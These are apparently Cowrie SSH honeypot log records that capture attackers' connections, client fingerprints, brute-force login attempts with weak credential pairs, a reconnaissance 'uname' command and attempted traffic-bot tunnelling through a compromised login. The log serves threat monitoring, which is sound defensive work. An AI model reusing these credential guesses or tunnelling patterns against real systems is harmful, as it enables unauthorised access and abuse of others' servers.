{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:54.480508Z","src_ip":"91.92.40.36","session":"1c2bbcbe4867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:55.139836Z","src_ip":"45.153.34.195","session":"9416a6b85792","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":63642,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ec5d5832623","protocol":"ssh","message":"New connection: 45.153.34.195:63642 (10.17.0.5:22) [session: 8ec5d5832623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:56.073457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:56.078840Z","src_ip":"45.153.34.195","session":"8ec5d5832623","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:56.164349Z","src_ip":"45.153.34.195","session":"8ec5d5832623","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123","message":"login attempt [testuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:56.439105Z","src_ip":"45.153.34.195","session":"8ec5d5832623","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:57.531116Z","src_ip":"45.153.34.195","session":"8ec5d5832623","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":45168,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce0b7f6197b5","protocol":"ssh","message":"New connection: 201.17.146.173:45168 (159.203.135.109:22) [session: ce0b7f6197b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:57.567467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:57.578833Z","src_ip":"201.17.146.173","session":"ce0b7f6197b5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"3.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:57.583560Z","src_ip":"91.92.40.36","session":"1c2bbcbe4867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"27.9","message":"Connection lost after 27.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:57.588444Z","src_ip":"91.92.40.36","session":"1c2bbcbe4867","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":60571,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8317a0fa66f","protocol":"ssh","message":"New connection: 123.27.168.40:60571 (10.17.0.5:22) [session: d8317a0fa66f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:58.410245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:58.415363Z","src_ip":"123.27.168.40","session":"d8317a0fa66f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:58.723121Z","src_ip":"123.27.168.40","session":"d8317a0fa66f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":63650,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1b506491a14","protocol":"ssh","message":"New connection: 45.153.34.195:63650 (10.17.0.5:22) [session: d1b506491a14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:59.102713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:59.109375Z","src_ip":"45.153.34.195","session":"d1b506491a14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:59.185204Z","src_ip":"45.153.34.195","session":"d1b506491a14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd1234","message":"login attempt [root/Abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:59.506188Z","src_ip":"45.153.34.195","session":"d1b506491a14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43776,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7db1c460862","protocol":"ssh","message":"New connection: 91.92.40.36:43776 (10.17.0.5:22) [session: c7db1c460862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:59.694917Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:59.947203Z","src_ip":"123.27.168.40","session":"d8317a0fa66f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:00.332266Z","session":"d8317a0fa66f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:00.502043Z","session":"d8317a0fa66f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:00.589979Z","src_ip":"45.153.34.195","session":"d1b506491a14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12","message":"login attempt [ubuntu/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:00.679444Z","src_ip":"91.92.40.36","session":"3b2377b5592d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:00.790748Z","src_ip":"123.27.168.40","session":"d8317a0fa66f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; RMX3430) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=SERiP3pwSTAzez55eTxjNw%3D%3DFVbFxhA665lkfrqCVdGas21LUtRWeBLUMhfjHpZlUqxZX%2FgBy%2FMvvUVcwZxq8tTEMIHo%2FcElKBOaeLb7q4ka9cwdYxX03PlgzebshmLuTH5GZkZD%2F2c10r3A23v80YdT8XdYCZ9tDrsUp1b6UVBXPljYFK5BivWWJVFHr4u4SsbNQpKr6Pa9ZZs3g9daYUVbylgewiDnFY44gyO%2B10W%2FNiLvFYwapP%2BI91%2B5Jfkn259SCIKmddKJiSaclLoB2UM8gZKCCewqP5WGQfMoa%2FaxLpt78Ml4mmtcrAsfvNJFdgRYXJGayM0g%2FQq2z4umuWWvUInag%2BWqEta8eZHMpkB8DQkrhr6A%2B4gSRcfFoRP7kktvxMhYOfOy%2F0vHz2zJsUbOiNIj9iqKyJ7MVq1n2tRdPCOAQr0FHtRARcqkbY9dl5G1Rpjjv7%2BM4AGCmXyyvx68JJ9%2Bq6DnBqm99iHpZWNbb2qZciymMwtk9YW%2FWWsDg%2F3XDPOYxZ3UrT9EXvrrXDXKEvnbQv3%2FMYFxf6oimTW5EszuaDPKFreabFLgCe1JTS2Ti%2FRaZgEbG%2F5NAAXdfJy8v8zr2sIEquiZKOdhBV%2B9zPm2%2Brja2CIyM6uwYHguaAIUdoRTp1EXcuW4gN2TF%2BeAL2Y1uoprr6wW3dRnn3Cs8LbPZwlRQKaPCN%2BJLr6ETu2Et8FZuMuH2RlqnW9f4ZiuierJIM%2BIrHYxqK5HvYfWglRd5Jl4%2BaYg634GUfDs4fvxw9ls4jcilepcJyBAMC7Y2mIqFnLFVfqqTkHe9qfw96X0In7nlhtSVo6WUyKbIyu86eIDvDrL7R9S3%2BCVjgSHf%2Bp%2BZEyobF3MuyvWU32ZWRqLyHRDtKbBPO9B2%2BMgS1xL8yE6IKnW0lJebokgJTnZ45XwmwddHPsuFqYGzFEzd%2BnwN7NSbufGiZXneK7o2%2B3iOSh3%2Fm0HQfKL3ey%2FLAPNhMPakSwQLKdlEamkSyVJeBJKpf0wIB2MTuXUXbow%2B4bkEDN%2BEGi7VXQvXISfOsHm3OrRmuSbtyRoYYeOYhWviKZrBOVRYaEMn3X2jiSFsC79USr1VrooHTZDYeiHnNzp'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; RMX3430) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=SERiP3pwSTAzez55eTxjNw%3D%3DFVbFxhA665lkfrqCVdGas21LUtRWeBLUMhfjHpZlUqxZX%2FgBy%2FMvvUVcwZxq8tTEMIHo%2FcElKBOaeLb7q4ka9cwdYxX03PlgzebshmLuTH5GZkZD%2F2c10r3A23v80YdT8XdYCZ9tDrsUp1b6UVBXPljYFK5BivWWJVFHr4u4SsbNQpKr6Pa9ZZs3g9daYUVbylgewiDnFY44gyO%2B10W%2FNiLvFYwapP%2BI91%2B5Jfkn259SCIKmddKJiSaclLoB2UM8gZKCCewqP5WGQfMoa%2FaxLpt78Ml4mmtcrAsfvNJFdgRYXJGayM0g%2FQq2z4umuWWvUInag%2BWqEta8eZHMpkB8DQkrhr6A%2B4gSRcfFoRP7kktvxMhYOfOy%2F0vHz2zJsUbOiNIj9iqKyJ7MVq1n2tRdPCOAQr0FHtRARcqkbY9dl5G1Rpjjv7%2BM4AGCmXyyvx68JJ9%2Bq6DnBqm99iHpZWNbb2qZciymMwtk9YW%2FWWsDg%2F3XDPOYxZ3UrT9EXvrrXDXKEvnbQv3%2FMYFxf6oimTW5EszuaDPKFreabFLgCe1JTS2Ti%2FRaZgEbG%2F5NAAXdfJy8v8zr2sIEquiZKOdhBV%2B9zPm2%2Brja2CIyM6uwYHguaAIUdoRTp1EXcuW4gN2TF%2BeAL2Y1uoprr6wW3dRnn3Cs8LbPZwlRQKaPCN%2BJLr6ETu2Et8FZuMuH2RlqnW9f4ZiuierJIM%2BIrHYxqK5HvYfWglRd5Jl4%2BaYg634GUfDs4fvxw9ls4jcilepcJyBAMC7Y2mIqFnLFVfqqTkHe9qfw96X0In7nlhtSVo6WUyKbIyu86eIDvDrL7R9S3%2BCVjgSHf%2Bp%2BZEyobF3MuyvWU32ZWRqLyHRDtKbBPO9B2%2BMgS1xL8yE6IKnW0lJebokgJTnZ45XwmwddHPsuFqYGzFEzd%2BnwN7NSbufGiZXneK7o2%2B3iOSh3%2Fm0HQfKL3ey%2FLAPNhMPakSwQLKdlEamkSyVJeBJKpf0wIB2MTuXUXbow%2B4bkEDN%2BEGi7VXQvXISfOsHm3OrRmuSbtyRoYYeOYhWviKZrBOVRYaEMn3X2jiSFsC79USr1VrooHTZDYeiHnNzp'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:00.795545Z","src_ip":"123.27.168.40","session":"d8317a0fa66f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:01.031172Z","src_ip":"123.27.168.40","session":"d8317a0fa66f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x033\\x19\\x06\\xb6\\xdf\\xc8\\x1b\\xffR\\xbe\\xddJ\\xcazSOo\\xd5\\x89]O\\x15cE\\xfd&G\\xfawQ-\\x0b \\x93\\xf1\\xbc}\\x8e\\xef\\x16M\\x0f\\xd8\\x85\\xee\\xf8\\xf2:\\x9af\\xafa\\x92S\\xe5\\xa4\\x94\\xcb\\xee\\xf3\\xda\\xd6t\\xad\\x19\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb0\\xa8\\xef\\x1c\\xdeY\\xfcq_\\x9d \\x08\\x1e\\xc4\\xc8\\xcb\\xd9\\xbdSU\\x8a\\x9b\\xdb\\xaf\\xef\\x81\\xeeO\";]\\x15\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x033\\x19\\x06\\xb6\\xdf\\xc8\\x1b\\xffR\\xbe\\xddJ\\xcazSOo\\xd5\\x89]O\\x15cE\\xfd&G\\xfawQ-\\x0b \\x93\\xf1\\xbc}\\x8e\\xef\\x16M\\x0f\\xd8\\x85\\xee\\xf8\\xf2:\\x9af\\xafa\\x92S\\xe5\\xa4\\x94\\xcb\\xee\\xf3\\xda\\xd6t\\xad\\x19\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb0\\xa8\\xef\\x1c\\xdeY\\xfcq_\\x9d \\x08\\x1e\\xc4\\xc8\\xcb\\xd9\\xbdSU\\x8a\\x9b\\xdb\\xaf\\xef\\x81\\xeeO\";]\\x15\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:01.034512Z","src_ip":"123.27.168.40","session":"d8317a0fa66f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:01.450015Z","src_ip":"91.92.40.36","session":"af2e3b79db3f","protocol":"ssh"}
